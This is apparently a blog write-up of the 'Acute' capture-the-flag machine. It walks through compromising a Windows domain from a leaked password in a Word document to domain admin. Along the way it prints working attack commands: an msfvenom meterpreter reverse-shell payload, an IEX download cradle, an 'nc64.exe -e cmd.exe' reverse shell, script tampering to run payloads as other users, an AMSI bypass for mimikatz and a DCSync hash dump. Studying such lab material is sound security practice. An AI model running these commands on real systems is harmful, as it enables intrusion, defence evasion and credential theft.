13 min readJul 16, 2022


Acute was hard rated box which involved enumerating the web site to find a word document having the link to PowerShell Web Access (PSWA) also having the hostname in meta data and the password in the document, the username was found through the about page from the site, giving us PSWA for evadies, having landed on a container we were able to find the whitelisted path for defender and the active session on host which allowed us to upload meterpreter payload and use it to view the GUI to get credentials for imonks and the policy configuration on the domain controller from which we were able to escalate to jmorgan who had Impersonate privileges from which we can dump the SAM hashes and through password reuse get awallace from where we were able to add this user in domain admins group


PORT    STATE SERVICE  VERSION                                         
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Issuer: commonName=acute-ATSSERVER-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-06T06:34:58
| Not valid after: 2030-01-04T06:34:58
| MD5: cf3a d387 8ede 75cf 89c1 8806 0b6b c823
|_SHA-1: f954 d677 0cf3 54df 3fa2 ed4f 78c3 1902 c120 a368
|_ssl-date: 2022-02-13T14:22:11+00:00; -3s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -3s

Surprisingly this box had only one port open which wasport 443


Visiting the web server we’ll get 404 status code

From the nmap scan we can see the domain name atsserver.acute.local so let's add this to /etc/hosts file

After adding the domain and accessing it we can see a web page

We can see from the wappalyzer browser extensions that the web page is using wordpress

Clicking on the courses it will just give us a 404 status code as the page doesn’t exist

Running dirsearch to fuzz for files and directories didn't revealed anything interesting

Viewing the about me section we’ll see a link to a word document

On opening that we’ll see two links but those link would give a 404 status code

Scrolling down we can see a password Password1! and a url to access Windows PowerShell Web Access

I tried this password for Lois as at the end of the document we can see that he is allowed to change group member permissions

But it failed , going back to aboutpage we can see some user names


Now we don’t know what’s the username also we don’t know the name of the computer , so running exiftool on the word document

This reveals the computer name which is Acute-PC01. I tried FCastle as a username with the password that we have got but it didn't worked , I went on trying the usernames that we have found on the about section and EDavies worked

We got a powershell session through browser but it seems like we are in a container because the IP is , running net user command to check in which groups we are in , it gives an error that this user doesn't exist

We can try to scan as it's the gateway and may have some interesting ports open, since we can't really install nmap on this machine we could try using a powershell script for scanning ports


After transferring if we’ll try running the powershell script, it won’t allow us as it’s disable to run scripts

We can try downloading it through IEX which imports the script in the memory

IEX(New-Object Net.WebClient).DownloadString('')

The ports that it shows are dns,smb,winrm and ldap which could mean this maybe a domain controller, I wasn’t able to specify the script to scan port 88 so I moved on

In Users directory we can see few users but we don’t have permissions to view the contents

Going into C drive we see a folder named Utils it shows that doesn't have any files

On viewing the hidden files with dir -Force we can see a ini file

Which shows that it windows defender doesn’t check this directory for malicious files maybe ,whitelisted directory can also be found by looking at the defender’s exclusion path


reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

so first we need to generate a msfvenom payload for meterpreter

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=2222 -f exe > shell.exe

Now to host this payload using python3

Checking our meterpreter listener, we’ll get a shell

Having a meterpreter session , I spawned powershell to download chisel so I can try scanning the gateway through socks5 proxy

Make sure to add socks 5 1080 in /etc/proxychains.conf

And this shows that it really is the domain controller as kerberos is running, I enumerated the whole container but there wasn’t anything interesting , after running winpeas on the container it showed hat there was one RDP session active

This could also been found through query user which lists the active login sessions

Privilege Escalation (imonks)

Using screenshare feature, we can see the GUI of the windows machine and there was script running which was connecting to the actual host machine with the credentials imonks:W3_4R3_th3_f0rce.

We need to make a credential and secure password string object

$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential('acute\imonks',$pass)Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { whoami } -Credential $credential

But we can only run limited commands on the ATSSERVER because of dcmanage configuration which is used running specific commands for managing the server


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Get-Command } -Credential $credential

We can run Get-Alias to see the shortcut of these commands

In imonks directory we see a powershell script wm.ps

Privilege Escalation (jmorgan)

This script is using actue\jmorgan's secure password to run Get-Volume on the container that we have a web based powershell so what if we made it to execute our payload in C:\Utils which will give us a reverse shell as jmorgan

To do this we can use powershell’s cmdlet Get-Content and Set-Content


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { (Get-Content -path C:\Users\imonks\Desktop\wm.ps1) -replace 'Get-Volume','cmd.exe /c C:\Utils\uwu.exe'  } -Credential $credential

With this command we can replace Get-Volume in the script to our payload but it won't be written out to a file it will just output on the powershell

So with Set-Content we can write the output to the file itself and then run the powershell script

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { ((Get-Content -path C:\Users\imonks\
Desktop\wm.ps1) -replace 'Get-Volume','cmd.exe /c C:\Utils\uwu.exe') | Set-Content -Path C:\Users\imonks\Desktop\wm.ps1
} -Credential $credential
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 } -Credential $credential

After getting jmorgan we can check this user's privileges with getprivs or if we want to use cmd we can use whoami /all

Through this privilege we can become SYSTEM user on the container by running getsystem and then can dump NTLM hashes on the container

Privilege Escalation (awallace)

Grabbing Administrator’s and Natasha’s hash we can check if they are crackable , using crackstation we can crack the administrator's hash and get the password Password@123

On ATSSERVER we have 3 users that we can try this password , Administrator , lhopkins and awallace.

I tried for lhopkins but it failed, moving on to awallace

it worked for awallace but still we have limited commands that we can run on the ATSSERVER

We don’t actually see anything other than keepmeon folder in C:\Program Files

There’s a bat file in that folder

Reading the contents of this bat file

REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"

Now analyzing this batch script , here there’s a loop running , /R meaning that it loops through files in the current directory and looks for .bat file and then it will call that file if found , it also mentions that this batch script runs as lhopkins(Lois) user

Going back to that word document it mentions about Lois the only user to group membership also that only he can become site admin

Running net group /domain we can see a group named Site_Admin

Checking the description of this group it says that it has access to domain admin group

So using Set-Content we can add the command net group Site_Admin "awallace" /add /domain to add this user to Site_Admin group

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Set-Content "C:\Program Files\keepmeon\uwu.bat" -Value ‘net group Site_Admin "awallace" /add /domain’ } -Credential $credential

Checking the groups in which awallace is in we can see that he has been added to Site_Admin

Being in this group we can access the Administrator's directory and get the root flag

Even though this is where the box ends but I wanted to see if we can get dump the hashes so having the chisel socks proxy running , I tried using secretsdump.py using awallace's credentials as we are in site_admin group which is an alias for domain admin group

It didn’t allow authenticating with credentials, so instead I tried generate a TGT for the user and used the script with kerberos authentication

Now exporting this `KRB5CCNAME` variable

But this again kept failing

I got back to awallace and tried getting a reverse shell and the way we can do this as we have limited commands to execute we can’t directly just make a request to our server to download nc or anything so instead we can use environmental variables so store any command also we can use `r`n for new line in a string


Also throughout the box I used Invoke-Command with the computer name which was creating an adhoc session for remote powershell session on ATSSERVER which means that as soon as the commands get exited it would just clear our session meaning if we create environmental variables they will be removed so for creating a persistent session we can use `New-PSSession


Keeping awallace’s credentials

$sess = New-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $credential
This file downloads the nc64.exe (make sure to get 1.12 as the defender removes the previous one)Invoke-Command -Session $sess -ScriptBlock { $var1 = "powershell.exe -c Invoke-WebRequest '' -OutFile 'nc64.exe' `r`n "  }
This command will be executed after nc64.exe is downloadedInvoke-Command -Session $sess -ScriptBlock { $var2 = "nc64.exe 5555 -e cmd.exe `r`n " }
This will write the values of both variables in the bat fileInvoke-Command -Session $sess -ScriptBlock { Set-Content -Path "C:\Program Files\keepmeon\uwu.bat" -Value $var1,$var2 }

Since lhopkins has rights to add members in Site_admin group we can him in this group which has the same privilege as Domain Admins group

Here we can’t just use mimikatz powershell script to dump hashes because of AMSI but we can bypass it by using Invoke-OneShot script which will import mimikatz at the same time


Make sure to have mimikatz script on your local machine and change the location of the script to your IP

This dumped LSASS, we can also dump NTDS.dit with lsadump::dcsync /domain:acute.local /all





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